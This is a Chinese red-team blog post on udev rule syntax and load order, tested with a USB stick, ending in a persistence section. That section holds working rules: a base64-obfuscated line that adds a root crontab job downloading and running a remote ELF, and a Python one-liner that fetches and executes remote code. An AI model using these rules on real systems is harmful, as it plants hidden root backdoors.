0x00 简介
大家好,我们是 NOP Team ,今天跟大家讨论一下 udev 权限维持的相关内容
文章稍长,可直接至文末下载 PDF 版本进行观看
什么是 udev 呢?
udev 是Linux kernel的设备管理器,主要管理
/dev
目录底下的设备节点。它同时也是用来接替 devfs 及 hotplug 的功能,这意味着它要在添加/删除硬件时处理/dev
目录以及所有用户空间的行为,包括加载固件时。
也就是说所有关于设备的管理由这个服务来完成,例如我们增加了一块硬盘、拔掉了一个 USB 设备等等
从以上的描述大家可以想象,系统启动的时候也会涉及到设备管理,从形式上确实很适合用来做后门
-
0x00 简介 -
0x01 udev 的工作方法 -
0x02 udev 规则文件 -
1. 规则文件存储位置 -
2. 规则文件的加载顺序 -
3. 规则编写规范 -
4. udev 规则案例
-
-
0x03 udev 持久化探索 -
1. hwdb -
2. iocost.conf -
3. udev.conf -
4. 规则文件 -
5. 探索限制
-
-
0x04 总结 -
往期文章
0x01 udev 的工作方法
udev 整体氛围三个部分
-
内核层 -
用户空间守护进程 -
规则引擎与工具集
简单来说,当设备有变动时,内核层最先发现, 之后通过 uevent 机制(基于 netlink
套接字)向用户空间发送设备事件(如设备插入、移除、状态变化),设备信息通过 sysfs
虚拟文件系统暴露(路径如 /sys/block/sda
)。
用户空间守护进程监听内核的 uevent
事件,之后根据规则文件(.rules
)中的规则处理事件
下面是一个规则文件的案例
# 匹配特定 USB 设备,为其分配固定名称和权限
SUBSYSTEM=="block", ACTION=="add", ATTRS{idVendor}=="0781", ATTRS{idProduct}=="5580", \
SYMLINK+="my_secure_usb", GROUP="users", MODE="0660"
-
匹配条件:设备为块设备(
SUBSYSTEM=="block"
),动作为插入(ACTION=="add"
),且匹配厂商/产品 ID。 -
执行动作:创建符号链接
/dev/my_secure_usb
,设置设备组为users
,权限为0660
。
sudo 后门以后,我们不再对二进制文件依赖的共享库 (xxx.so) 文件替换劫持做权限维持做单独说明,主要是探讨通过配置文件的方式进行权限维持
0x02 udev 规则文件
1. 规则文件存储位置
udev 的规则文件按照规范一般是 xxxx.rules 文件,udev 的规则文件存在于系统的以下三个位置
udev
的规则文件通常存放在以下三个目录中:
|
|
|
---|---|---|
/lib/udev/rules.d/ |
系统默认规则
|
|
/etc/udev/rules.d/ |
用户自定义规则
|
|
/run/udev/rules.d/ |
临时规则
|
|
可以看到,这里并没有目录,都是文件,而且文件后缀都是固定的,稍后我们了解配置文件编写规则后,再测试目录以及各种文件名称的有效性
2. 规则文件的加载顺序
不同目录的规则优先级
尽管文件名决定加载顺序,但目录路径的优先级更高:
-
/etc/udev/rules.d/
的规则优先级最高(即使文件名数字小,也会覆盖其他目录的规则) -
/run/udev/rules.d/
的规则次之 -
/lib/udev/rules.d/
的规则优先级最低
优先级总结:
/etc/udev/rules.d/ -> /run/udev/rules.d/ -> /lib/udev/rules.d/
3. 规则编写规范
https://wiki.archlinuxcn.org/wiki/Udev
https://man.archlinux.org/man/udev.7
https://www.reactivated.net/writing_udev_rules.html
udev 存在的意义是在设备出现变化时对应进行处理,所以整体语法应该是如何标识一个设备或一批设备,也就是匹配、如何标识出变化、如何标识出要做的动作,也就是赋值
规则语法
每条规则由逗号分隔的 键-操作符-值 表达式组成:
-
匹配条件:使用 ==
或!=
运算符(如SUBSYSTEM=="usb"
)。 -
赋值操作:使用 =
,+=
,-=
,:=
运算符(如SYMLINK+="my_device"
)。
注释
规则使用 #
作为注释
匹配键
1) 基础设备属性
|
|
---|---|
ACTION |
add (添加)、remove (移除)、change (状态变更)等。 |
KERNEL |
sda 、eth0 )。 |
SUBSYSTEM |
block (块设备)、usb 、net (网络设备))。 |
DRIVER |
usb-storage )。 |
DEVPATH |
/sys 中的路径(如 /devices/pci0000:00/0000:00:1a.0/usb1 )。 |
2) 设备属性(sysfs
属性)
|
|
---|---|
ATTR{filename} |
sysfs 属性文件值(如 ATTR{size}=="4096" )。 |
ATTRS{filename} |
sysfs 属性(用于跨层级匹配,如 parent 设备的属性)。 |
3) 环境变量
|
|
---|---|
ENV{key} |
ENV{ID_MODEL}=="MyDisk" )。 |
4) 设备标签与特征
|
|
---|---|
TAG |
TAG=="uaccess" ,用于用户空间访问权限)。 |
TEST |
TEST=="/dev/my_device" )。 |
PROGRAM |
0 则匹配(需结合 RESULT 使用)。 |
5) 设备关系与拓扑
|
|
---|---|
PARENT |
PARENT{SUBSYSTEM}=="usb" )。 |
KERNELS |
ATTRS )。 |
SUBSYSTEMS |
ATTRS )。 |
DRIVERS |
ATTRS )。 |
6) 高级匹配
|
|
---|---|
IMPORT{type} |
IMPORT{program}="/sbin/blkid -o udev -p $tempnode" )。 |
NAME |
NAME="eth0" )。 |
MODE
OWNER /GROUP |
|
匹配运算符
匹配运算符(Matching Operators) 用于定义设备属性的匹配条件
1) 基础匹配运算符
|
|
---|---|
== |
等于
|
SUBSYSTEM=="usb" (匹配 USB 子系统设备)。 |
|
!= |
不等于
|
KERNEL!="sda*" (排除内核名以 sda 开头的设备)。 |
2) 字符串匹配运算符
|
|
---|---|
=~ |
正则表达式匹配
|
KERNEL=~"^sd[a-z][0-9]" (匹配形如 sda1 、sdb2 的设备名)。 |
|
!~ |
正则表达式不匹配
|
KERNEL!~"^loop" (排除内核名以 loop 开头的设备)。 |
3) 特殊匹配操作
|
|
---|---|
$= |
字符串包含
|
ATTR{name}$="video" (匹配 name 属性包含 video 的设备)。 |
4) 逻辑组合符
|
|
---|---|
, |
逻辑与
|
SUBSYSTEM=="usb", ATTR{idVendor}=="0781" (USB 子系统且厂商 ID 为 0781)。 |
注意事项
-
大小写敏感:匹配操作默认区分大小写。
-
转义字符:在正则表达式中需转义特殊字符(如
\*
匹配字面量*
)。 -
兼容性:
=~
和!~
依赖于udev
版本,需验证支持性
赋值键
1) 基础设备操作
|
|
---|---|
NAME |
命名设备节点
|
SYMLINK |
创建设备符号链接
SYMLINK+="my_device" )。 |
MODE |
MODE="0660" )。 |
OWNER |
OWNER="root" )。 |
GROUP |
GROUP="users" )。 |
2) 设备标签与元数据
|
|
---|---|
TAG |
TAG+="uaccess" ,用于用户空间访问权限)。 |
ENV{key} |
ENV{DISK_TYPE}="ssd" )。 |
3) 脚本与程序执行
|
|
---|---|
RUN{type} |
type 支持 program 或 builtin )。 |
IMPORT{type} |
IMPORT{program}="/sbin/blkid -o udev -p $tempnode" )。 |
PROGRAM |
RESULT 配合使用)。 |
4) 高级控制
|
|
---|---|
OPTIONS |
- OPTIONS+="last_rule" (跳过后续规则)。- OPTIONS+="watch" (监视设备状态变化)。 |
SECLABEL |
|
ATTR{filename} |
sysfs 属性(需谨慎使用)。 |
5) 网络设备专用
|
|
---|---|
NAME |
重命名网络接口
NAME="eth0" )。 |
MAC |
|
赋值运算符
赋值运算符(Assignment Operators) 用于定义如何修改设备属性或执行操作
1) 基础赋值运算符
|
|
---|---|
= |
直接赋值
|
MODE="0660" (设置权限为 0660,忽略默认值)。 |
|
+= |
追加赋值
SYMLINK )。 |
SYMLINK+="my_device" (在默认符号链接基础上添加 my_device )。 |
|
:= |
最终赋值
|
GROUP:="users" (后续规则无法修改 GROUP 的值)。 |
2) 特殊运算符
|
|
---|---|
-= |
移除值
SYMLINK 或 TAG )。 |
TAG-="uaccess" (移除 uaccess 标签)。 |
|
== |
匹配条件
|
SUBSYSTEM=="usb" (匹配 USB 子系统设备)。 |
注意事项
-
=
与+=
:-
使用 =
会覆盖原有值(如SYMLINK="my_link"
将删除默认符号链接)。 -
使用 +=
更安全,通常用于扩展而非替换。
-
-
:=
的强制力:-
通过 :=
赋值的属性不可被后续规则修改,即使后续规则使用=
或+=
。
-
-
慎用 -=
:-
移除系统默认值可能导致意外行为(如权限错误)。
-
取值
udev 规则中的值都是被双引号包裹的,这其中也涉及到转义、大小写、正则、变量等,但其实我不需要特别关心,可以在遇到的时候使用 deepseek 等进行解释
常用键的值示例
|
|
|
---|---|---|
SUBSYSTEM |
"usb"
"block" |
|
ACTION |
"add"
"remove" |
|
ATTR{size} |
"4096"
"0" |
sysfs 属性值 |
ENV{ID_VENDOR} |
"SanDisk" |
|
MODE |
"0660"
"0644" |
|
SYMLINK |
"my_device"
"backup_disk" |
|
RUN |
"/usr/bin/mount.sh" |
|
4. udev 规则案例
环境准备
我们使用桌面版 Ubuntu Desktop 24.04 虚拟机配合 USB 优盘进行测试
首先将优盘直通给虚拟机
获取优盘属性
# 查看设备路径
sudo fdisk -l
# 获取 udev 详细信息
udevadm info -a -p $(udevadm info -q path -n /dev/sdb)
Udevadm info starts with the device specified by the devpath and then
walks up the chain of parent devices. It prints for every device
found, all possible attributes in the udev rules key format.
A rule to match, can be composed by the attributes of the device
and the attributes from one single parent device.
looking at device '/devices/pci0000:00/0000:00:1d.6/usb4/4-1/4-1:1.0/host8/target8:0:0/8:0:0:0/block/sdb':
KERNEL=="sdb"
SUBSYSTEM=="block"
DRIVER==""
ATTR{alignment_offset}=="0"
ATTR{capability}=="0"
ATTR{discard_alignment}=="0"
ATTR{diskseq}=="81"
ATTR{events}=="media_change"
ATTR{events_async}==""
ATTR{events_poll_msecs}=="-1"
ATTR{ext_range}=="256"
ATTR{hidden}=="0"
ATTR{inflight}==" 0 0"
ATTR{integrity/device_is_integrity_capable}=="0"
ATTR{integrity/format}=="none"
ATTR{integrity/protection_interval_bytes}=="0"
ATTR{integrity/read_verify}=="1"
ATTR{integrity/tag_size}=="0"
ATTR{integrity/write_generate}=="1"
ATTR{mq/0/cpu_list}=="0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31"
ATTR{mq/0/nr_reserved_tags}=="0"
ATTR{mq/0/nr_tags}=="1"
ATTR{partscan}=="1"
ATTR{power/async}=="disabled"
ATTR{power/control}=="auto"
ATTR{power/runtime_active_kids}=="0"
ATTR{power/runtime_active_time}=="0"
ATTR{power/runtime_enabled}=="disabled"
ATTR{power/runtime_status}=="unsupported"
ATTR{power/runtime_suspended_time}=="0"
ATTR{power/runtime_usage}=="0"
ATTR{queue/add_random}=="1"
ATTR{queue/atomic_write_boundary_bytes}=="0"
ATTR{queue/atomic_write_max_bytes}=="0"
ATTR{queue/atomic_write_unit_max_bytes}=="0"
ATTR{queue/atomic_write_unit_min_bytes}=="0"
ATTR{queue/chunk_sectors}=="0"
ATTR{queue/dax}=="0"
ATTR{queue/discard_granularity}=="512"
ATTR{queue/discard_max_bytes}=="0"
ATTR{queue/discard_max_hw_bytes}=="0"
ATTR{queue/discard_zeroes_data}=="0"
ATTR{queue/dma_alignment}=="511"
ATTR{queue/fua}=="0"
ATTR{queue/hw_sector_size}=="512"
ATTR{queue/io_poll}=="0"
ATTR{queue/io_poll_delay}=="-1"
ATTR{queue/io_timeout}=="30000"
ATTR{queue/iosched/async_depth}=="2"
ATTR{queue/iosched/fifo_batch}=="16"
ATTR{queue/iosched/front_merges}=="1"
ATTR{queue/iosched/prio_aging_expire}=="10000"
ATTR{queue/iosched/read_expire}=="500"
ATTR{queue/iosched/write_expire}=="5000"
ATTR{queue/iosched/writes_starved}=="2"
ATTR{queue/iostats}=="1"
ATTR{queue/logical_block_size}=="512"
ATTR{queue/max_discard_segments}=="1"
ATTR{queue/max_hw_sectors_kb}=="1024"
ATTR{queue/max_integrity_segments}=="0"
ATTR{queue/max_sectors_kb}=="1024"
ATTR{queue/max_segment_size}=="65536"
ATTR{queue/max_segments}=="2048"
ATTR{queue/minimum_io_size}=="512"
ATTR{queue/nomerges}=="0"
ATTR{queue/nr_requests}=="2"
ATTR{queue/nr_zones}=="0"
ATTR{queue/optimal_io_size}=="0"
ATTR{queue/physical_block_size}=="512"
ATTR{queue/read_ahead_kb}=="128"
ATTR{queue/rotational}=="1"
ATTR{queue/rq_affinity}=="1"
ATTR{queue/scheduler}=="none [mq-deadline] "
ATTR{queue/stable_writes}=="0"
ATTR{queue/virt_boundary_mask}=="0"
ATTR{queue/wbt_lat_usec}=="75000"
ATTR{queue/write_cache}=="write through"
ATTR{queue/write_same_max_bytes}=="0"
ATTR{queue/write_zeroes_max_bytes}=="0"
ATTR{queue/zone_append_max_bytes}=="0"
ATTR{queue/zone_write_granularity}=="0"
ATTR{queue/zoned}=="none"
ATTR{range}=="16"
ATTR{removable}=="1"
ATTR{ro}=="0"
ATTR{size}=="62029824"
ATTR{stat}==" 2020 19 10273 954 0 0 0 0 0 890 954 0 0 0 0 0 0"
ATTR{trace/act_mask}=="disabled"
ATTR{trace/enable}=="0"
ATTR{trace/end_lba}=="disabled"
ATTR{trace/pid}=="disabled"
ATTR{trace/start_lba}=="disabled"
looking at parent device '/devices/pci0000:00/0000:00:1d.6/usb4/4-1/4-1:1.0/host8/target8:0:0/8:0:0:0':
KERNELS=="8:0:0:0"
SUBSYSTEMS=="scsi"
DRIVERS=="sd"
ATTRS{blacklist}=="SKIP_IO_HINTS"
ATTRS{cdl_enable}=="0"
ATTRS{cdl_supported}=="0"
ATTRS{delete}=="(not readable)"
ATTRS{device_blocked}=="0"
ATTRS{device_busy}=="0"
ATTRS{dh_state}=="detached"
ATTRS{eh_timeout}=="10"
ATTRS{evt_capacity_change_reported}=="0"
ATTRS{evt_inquiry_change_reported}=="0"
ATTRS{evt_lun_change_reported}=="0"
ATTRS{evt_media_change}=="0"
ATTRS{evt_mode_parameter_change_reported}=="0"
ATTRS{evt_soft_threshold_reached}=="0"
ATTRS{inquiry}==""
ATTRS{iocounterbits}=="32"
ATTRS{iodone_cnt}=="0x8a9"
ATTRS{ioerr_cnt}=="0x1"
ATTRS{iorequest_cnt}=="0x8a9"
ATTRS{iotmo_cnt}=="0x0"
ATTRS{max_sectors}=="2048"
ATTRS{model}=="TransMemory-Ex "
ATTRS{power/async}=="enabled"
ATTRS{power/autosuspend_delay_ms}=="-1"
ATTRS{power/control}=="on"
ATTRS{power/runtime_active_kids}=="0"
ATTRS{power/runtime_active_time}=="290776"
ATTRS{power/runtime_enabled}=="forbidden"
ATTRS{power/runtime_status}=="active"
ATTRS{power/runtime_suspended_time}=="0"
ATTRS{power/runtime_usage}=="2"
ATTRS{queue_depth}=="1"
ATTRS{queue_type}=="none"
ATTRS{rescan}=="(not readable)"
ATTRS{rev}=="PMAP"
ATTRS{scsi_level}=="5"
ATTRS{state}=="running"
ATTRS{timeout}=="30"
ATTRS{type}=="0"
ATTRS{vendor}=="TOSHIBA "
looking at parent device '/devices/pci0000:00/0000:00:1d.6/usb4/4-1/4-1:1.0/host8/target8:0:0':
KERNELS=="target8:0:0"
SUBSYSTEMS=="scsi"
DRIVERS==""
ATTRS{power/async}=="enabled"
ATTRS{power/control}=="auto"
ATTRS{power/runtime_active_kids}=="1"
ATTRS{power/runtime_active_time}=="290776"
ATTRS{power/runtime_enabled}=="enabled"
ATTRS{power/runtime_status}=="active"
ATTRS{power/runtime_suspended_time}=="0"
ATTRS{power/runtime_usage}=="0"
looking at parent device '/devices/pci0000:00/0000:00:1d.6/usb4/4-1/4-1:1.0/host8':
KERNELS=="host8"
SUBSYSTEMS=="scsi"
DRIVERS==""
ATTRS{power/async}=="enabled"
ATTRS{power/control}=="auto"
ATTRS{power/runtime_active_kids}=="1"
ATTRS{power/runtime_active_time}=="290777"
ATTRS{power/runtime_enabled}=="enabled"
ATTRS{power/runtime_status}=="active"
ATTRS{power/runtime_suspended_time}=="1243"
ATTRS{power/runtime_usage}=="0"
looking at parent device '/devices/pci0000:00/0000:00:1d.6/usb4/4-1/4-1:1.0':
KERNELS=="4-1:1.0"
SUBSYSTEMS=="usb"
DRIVERS=="usb-storage"
ATTRS{authorized}=="1"
ATTRS{bAlternateSetting}==" 0"
ATTRS{bInterfaceClass}=="08"
ATTRS{bInterfaceNumber}=="00"
ATTRS{bInterfaceProtocol}=="50"
ATTRS{bInterfaceSubClass}=="06"
ATTRS{bNumEndpoints}=="02"
ATTRS{power/async}=="enabled"
ATTRS{power/runtime_active_kids}=="1"
ATTRS{power/runtime_enabled}=="enabled"
ATTRS{power/runtime_status}=="active"
ATTRS{power/runtime_usage}=="0"
ATTRS{supports_autosuspend}=="1"
looking at parent device '/devices/pci0000:00/0000:00:1d.6/usb4/4-1':
KERNELS=="4-1"
SUBSYSTEMS=="usb"
DRIVERS=="usb"
ATTRS{authorized}=="1"
ATTRS{avoid_reset_quirk}=="0"
ATTRS{bConfigurationValue}=="1"
ATTRS{bDeviceClass}=="00"
ATTRS{bDeviceProtocol}=="00"
ATTRS{bDeviceSubClass}=="00"
ATTRS{bMaxPacketSize0}=="9"
ATTRS{bMaxPower}=="896mA"
ATTRS{bNumConfigurations}=="1"
ATTRS{bNumInterfaces}==" 1"
ATTRS{bcdDevice}=="0110"
ATTRS{bmAttributes}=="80"
ATTRS{busnum}=="4"
ATTRS{configuration}==""
ATTRS{devnum}=="2"
ATTRS{devpath}=="1"
ATTRS{idProduct}=="6545"
ATTRS{idVendor}=="0930"
ATTRS{ltm_capable}=="no"
ATTRS{manufacturer}=="TOSHIBA"
ATTRS{maxchild}=="0"
ATTRS{power/active_duration}=="292163"
ATTRS{power/async}=="enabled"
ATTRS{power/autosuspend}=="2"
ATTRS{power/autosuspend_delay_ms}=="2000"
ATTRS{power/connected_duration}=="292163"
ATTRS{power/control}=="on"
ATTRS{power/level}=="on"
ATTRS{power/persist}=="1"
ATTRS{power/runtime_active_kids}=="1"
ATTRS{power/runtime_active_time}=="292036"
ATTRS{power/runtime_enabled}=="forbidden"
ATTRS{power/runtime_status}=="active"
ATTRS{power/runtime_suspended_time}=="0"
ATTRS{power/runtime_usage}=="1"
ATTRS{product}=="TransMemory-Ex"
ATTRS{quirks}=="0x0"
ATTRS{removable}=="unknown"
ATTRS{remove}=="(not readable)"
ATTRS{rx_lanes}=="1"
ATTRS{serial}=="60A44CB46484ED904352370C"
ATTRS{speed}=="5000"
ATTRS{tx_lanes}=="1"
ATTRS{urbnum}=="6492"
ATTRS{version}==" 3.00"
looking at parent device '/devices/pci0000:00/0000:00:1d.6/usb4':
KERNELS=="usb4"
SUBSYSTEMS=="usb"
DRIVERS=="usb"
ATTRS{authorized}=="1"
ATTRS{authorized_default}=="1"
ATTRS{avoid_reset_quirk}=="0"
ATTRS{bConfigurationValue}=="1"
ATTRS{bDeviceClass}=="09"
ATTRS{bDeviceProtocol}=="03"
ATTRS{bDeviceSubClass}=="00"
ATTRS{bMaxPacketSize0}=="9"
ATTRS{bMaxPower}=="0mA"
ATTRS{bNumConfigurations}=="1"
ATTRS{bNumInterfaces}==" 1"
ATTRS{bcdDevice}=="0611"
ATTRS{bmAttributes}=="e0"
ATTRS{busnum}=="4"
ATTRS{configuration}==""
ATTRS{devnum}=="1"
ATTRS{devpath}=="0"
ATTRS{idProduct}=="0003"
ATTRS{idVendor}=="1d6b"
ATTRS{interface_authorized_default}=="1"
ATTRS{ltm_capable}=="no"
ATTRS{manufacturer}=="Linux 6.11.0-17-generic xhci-hcd"
ATTRS{maxchild}=="12"
ATTRS{power/active_duration}=="292731"
ATTRS{power/async}=="enabled"
ATTRS{power/autosuspend}=="0"
ATTRS{power/autosuspend_delay_ms}=="0"
ATTRS{power/connected_duration}=="361398"
ATTRS{power/control}=="auto"
ATTRS{power/level}=="auto"
ATTRS{power/runtime_active_kids}=="1"
ATTRS{power/runtime_active_time}=="292830"
ATTRS{power/runtime_enabled}=="enabled"
ATTRS{power/runtime_status}=="active"
ATTRS{power/runtime_suspended_time}=="68566"
ATTRS{power/runtime_usage}=="0"
ATTRS{power/wakeup}=="disabled"
ATTRS{power/wakeup_abort_count}==""
ATTRS{power/wakeup_active}==""
ATTRS{power/wakeup_active_count}==""
ATTRS{power/wakeup_count}==""
ATTRS{power/wakeup_expire_count}==""
ATTRS{power/wakeup_last_time_ms}==""
ATTRS{power/wakeup_max_time_ms}==""
ATTRS{power/wakeup_total_time_ms}==""
ATTRS{product}=="xHCI Host Controller"
ATTRS{quirks}=="0x0"
ATTRS{removable}=="unknown"
ATTRS{remove}=="(not readable)"
ATTRS{rx_lanes}=="1"
ATTRS{serial}=="0000:00:1d.6"
ATTRS{speed}=="10000"
ATTRS{tx_lanes}=="1"
ATTRS{urbnum}=="373"
ATTRS{version}==" 3.10"
looking at parent device '/devices/pci0000:00/0000:00:1d.6':
KERNELS=="0000:00:1d.6"
SUBSYSTEMS=="pci"
DRIVERS=="xhci_hcd"
ATTRS{ari_enabled}=="0"
ATTRS{broken_parity_status}=="0"
ATTRS{class}=="0x0c0330"
ATTRS{consistent_dma_mask_bits}=="64"
ATTRS{d3cold_allowed}=="0"
ATTRS{device}=="0x0194"
ATTRS{dma_mask_bits}=="64"
ATTRS{driver_override}=="(null)"
ATTRS{enable}=="1"
ATTRS{irq}=="29"
ATTRS{local_cpulist}=="0-3"
ATTRS{local_cpus}=="0000000f"
ATTRS{msi_bus}=="1"
ATTRS{msi_irqs/29}=="msi"
ATTRS{numa_node}=="-1"
ATTRS{power/async}=="enabled"
ATTRS{power/control}=="on"
ATTRS{power/runtime_active_kids}=="1"
ATTRS{power/runtime_active_time}=="362060"
ATTRS{power/runtime_enabled}=="forbidden"
ATTRS{power/runtime_status}=="active"
ATTRS{power/runtime_suspended_time}=="0"
ATTRS{power/runtime_usage}=="3"
ATTRS{power_state}=="D0"
ATTRS{remove}=="(not readable)"
ATTRS{rescan}=="(not readable)"
ATTRS{resource0}=="(not readable)"
ATTRS{revision}=="0x04"
ATTRS{subsystem_device}=="0x0400"
ATTRS{subsystem_vendor}=="0x1ab8"
ATTRS{vendor}=="0x1033"
looking at parent device '/devices/pci0000:00':
KERNELS=="pci0000:00"
SUBSYSTEMS==""
DRIVERS==""
ATTRS{power/async}=="enabled"
ATTRS{power/control}=="auto"
ATTRS{power/runtime_active_kids}=="14"
ATTRS{power/runtime_active_time}=="0"
ATTRS{power/runtime_enabled}=="disabled"
ATTRS{power/runtime_status}=="unsupported"
ATTRS{power/runtime_suspended_time}=="0"
ATTRS{power/runtime_usage}=="0"
ATTRS{waiting_for_supplier}=="0"
内容非常长,它表示了整个设备系统按照层级的属性关系,SUBSYSTEM
表示当前设备的层级,我们的设备是 USB ,所以就是 SUBSYSTEM="usb"
当前设备的层级解析
|
|
|
|
---|---|---|---|
pci0000:00 |
|
|
|
0000:00:1d.6 |
pci |
|
vendor="0x1033" |
usb4 |
usb |
|
product="xHCI Host Controller" |
4-1 |
usb |
|
idVendor="0930"
idProduct="6545" |
4-1:1.0 |
usb |
|
bInterfaceClass="08"
|
host8 |
scsi |
|
model="TransMemory-Ex" |
target8:0:0 |
scsi |
|
vendor="TOSHIBA" |
8:0:0:0 |
scsi |
|
rev="PMAP" |
block/sdb |
block |
|
size="62029824"
|
我们找到属于我们设备的属性信息
获取到父级的 idProduct
和 idVendor
(因为是 ATTRS),可以通过 lsusb
进行验证
lsusb -v -d 0930:6545
编写 udev 案例
插入这个优盘后,我们希望创建一个符号连接 nop_driver
首先我们得标识一下这个设备
SUBSYSTEM=="usb", ATTRS{idVendor}=="0930", ATTRS{idProduct}=="6545"
注意,我们的 idVentor 和 idProduct 是来自父级的,这点在原始的输出中可以看到
之后我们描述一下插入的动作
ACTION=="add"
接下来再标识一下要做的赋值,创建 /tmp/flag
文件
RUN+="/bin/touch /tmp/flag"
合起来就是
SUBSYSTEM=="usb", ATTRS{idVendor}=="0930", ATTRS{idProduct}=="6545", ACTION=="add", RUN+="/bin/touch /tmp/flag"
我们将内容复制到 /etc/udev/rules.d/99-nop-driver.rules
中
测试案例有效性
首先查看是否存在这个文件
不存在,接下来插入优盘
可以看到,文件成功创建,我们的规则在未显式地手动重新加载配置文件的情况下就已经可以生效了
测试规则文件夹加载顺序
我们通过在三个文件夹中创建相同文件名称的规则文件,对比一下实际的执行顺序
首先直接插入优盘进行测试
在默认情况下,优先级最高的竟然是 /etc/udev/rules.d/
目录下的
删除 /etc/udev/rules.d/
目录下的配置文件,看看下一个被加载的是哪一个
看来接下来是 /run/udev/rules.d/
目录下的,删除该文件,再次测试
需要注意的是,现在现代 Linux 发行版(如 Ubuntu/Debian/Fedora 等)中/lib
通常是指向 /usr/lib
的符号链
所以 /lib/udev/rules.d/99-nop-driver.rules
与 /usr/lib/udev/rules.d/99-nop-driver.rules
为同一文件
所以在 Ubuntu Desktop 24.04 中 udev 规则文件夹同名规则文件加载顺序为
/etc/udev/rules.d/ -> /run/udev/rules.d/ -> /lib/udev/rules.d/
测试文件名称
在 archlinux 的官方文档上说,规则文件需要使用 .rules
后缀,我们测试一下是否这样
无后缀
可以看到,无后缀规则文件是无效的
以 .
开头的配置文件
看来以 .
开头是不行了
测试是否可以在新建文件夹
如果我们在该目录新建一个文件夹,之后在其中加入规则文件,规则文件会生效吗?
也是不行的,看来对于配置文件的要求还是比较固定
0x03 udev 持久化探索
刚才的测试中,规则文件肯定可以被用来做后门,所以我们稍后着重探讨,排除替换可执行文件、替换共享库这类持久化以外,我们尝试从剩下的三个配置文件探索持久化的可能
1. hwdb
hwdb 是硬件属性数据库,将设备的硬件属性(如 USB 厂商/产品 ID、PCI 设备 ID 等)映射到自定义属性(如触摸板手势配置、键盘重复速率等)
默认 Ubuntu Desktop 24.04 中 /etc/udev/hwdb.d
是空的,我们去 /lib/udev/hwdb.d
中进行查看
攻击者如果修改硬件属性数据库,可能会导致系统挂载硬件设备时错误识别等,想实现持久化的话,可能需要配合其他程序错误识别会导致一些额外bug
所以一般的攻击者是不会通过硬件属性数据库进行持久化的
2. iocost.conf
https://www.freedesktop.org/software/systemd/man/latest/iocost.conf.html
iocost.conf
是 udev 用于定义和管理设备 I/O 成本的配置文件。通过在这个文件中指定各类设备的 I/O 成本,系统能够在设备接入时自动调整 I/O 调度策略,以优化性能和资源分配
根据目前的文档来看,只能用来调节I/O 成本,无法创建文件,也无法执行外部程序,甚至官方文档也仅仅介绍了 TargetSolution
这一个参数,我尝试了直接在其中写 shell 命令,并没有成功执行
3. udev.conf
https://man7.org/linux/man-pages/man5/udev.conf.5.html
udev.conf
是 udev 守护进程的主配置文件,用于设置 udev 的全局运行参数,而不是用来定义具体的设备匹配或行为规则
下面是可以设置的选项:
-
udev_log=日志级别。有效值可以是数值形式的 syslog 优先级,或它们的文本描述: -
err
-
info
-
debug
-
-
children_max=一个整数,表示并行执行的最大事件数。 如果未指定或指定为 0,最大并行数将基于系统资源自动确定。 此选项与命令行中的 --children-max=
相同 -
exec_delay=一个整数。为每个 RUN{program} 参数延迟执行指定的秒数。 此选项在调试因加载不可用内核模块导致的冷插拔启动崩溃时可能会很有用。 此选项与命令行中的 --exec-delay=
相同。 -
event_timeout=一个整数,表示等待事件完成的秒数。 超过这个时间后,事件将被终止。默认值为 180 秒。 此选项与命令行中的 --event-timeout=
相同。 -
resolve_names=指定 systemd-udevd 解析用户和组名的时机。 -
当设置为 early
(默认)时,会在解析规则时进行名称解析; -
设置为 late
时,将对每个事件单独进行名称解析; -
设置为 never
时,则永不解析名称,此时所有设备都将归 root 所有。 此选项与命令行中的--resolve-names=
相同。
-
-
timeout_signal=指定当工作超时时 systemd-udevd 发送给工作线程的信号。 注意:无论是工作线程还是派生进程,都会使用此信号来终止。 默认信号为 SIGKILL
。
从配置项来看,也就 timeout_signal
似乎还有点对外部造成影响的可能,但是用来做权限维持较为困难
4. 规则文件
根据之前的案例,我们了解到 RUN 这个键可以执行系统命令,接下来我们探究一下这些键还能做哪些有利于权限维持的操作,有哪些限制
RUN
执行外部程序或脚本(type
支持 program
或 builtin
)
SUBSYSTEM=="usb", ATTRS{idVendor}=="0930", ATTRS{idProduct}=="6545", ACTION=="add", RUN+="/bin/touch /tmp/flag"
PROGRAM
执行外部程序并捕获输出(通常与 RESULT
配合使用)
SUBSYSTEM=="usb", ATTRS{idVendor}=="0930", ATTRS{idProduct}=="6545", ACTION=="add", PROGRAM="/usr/bin/env bash -c '/bin/touch /tmp/flag-program && echo FLAG=touched'"
IMPORT
导入外部数据(如 IMPORT{program}="/sbin/blkid -o udev -p $tempnode"
)
SUBSYSTEM=="usb", ATTRS{idVendor}=="0930", ATTRS{idProduct}=="6545", ACTION=="add", IMPORT{program}="/usr/bin/env bash -c '/bin/touch /tmp/flag-import && echo FLAG=touched'"
ENV
ENV 设置的环境变量只是局部环境变量,在 udev 事件处理期间生效,不会共享到整个操作系统的全局环境中,所以只能做辅助
5. 探索限制
大背景是系统重启,想要达到的效果有两个,看看在这两个效果中是否存在限制
-
向任意文件内写入内容 -
反弹 shell 持久化控制
向任意文件写入内容
以写入计划任务为例
准备木马
设置下载服务器
配置 udev 规则
既然我们希望的是系统重启后会自动执行,可以进行如下配置
ACTION=="add", SUBSYSTEM=="dmi", \
RUN+="/bin/sh -c 'echo \"Ki8zICogKiAqICogcm9vdCAvYmluL3NoIC1jICJjdXJsIC1zZiBodHRwOi8vMTAuMjExLjU1LjE1OjgwODAvbm9wLXRlc3QuZWxmIC1vIC90bXAvbm9wLXRlc3QuZWxmICYmIGNobW9kICt4IC90bXAvbm9wLXRlc3QuZWxmICYmIC90bXAvbm9wLXRlc3QuZWxmIgoK\" | base64 -d >> /etc/crontab'"
重启电脑
计划任务成功写入,等待几分钟后
成功完成持久化控制
当然也可以写入 ssh key 等方式来进行持久化
直接反弹 shell
python3 -c "import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://10.211.55.15:8080/HyiFfPWD', context=ssl._create_unverified_context());exec(r.read());"
udev 配置文件内容如下
ACTION=="add", SUBSYSTEM=="block", \
RUN+="/usr/bin/env python3 -c \"import sys;import ssl;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://10.211.55.15:8080/HyiFfPWD', context=ssl._create_unverified_context());exec(r.read());\""
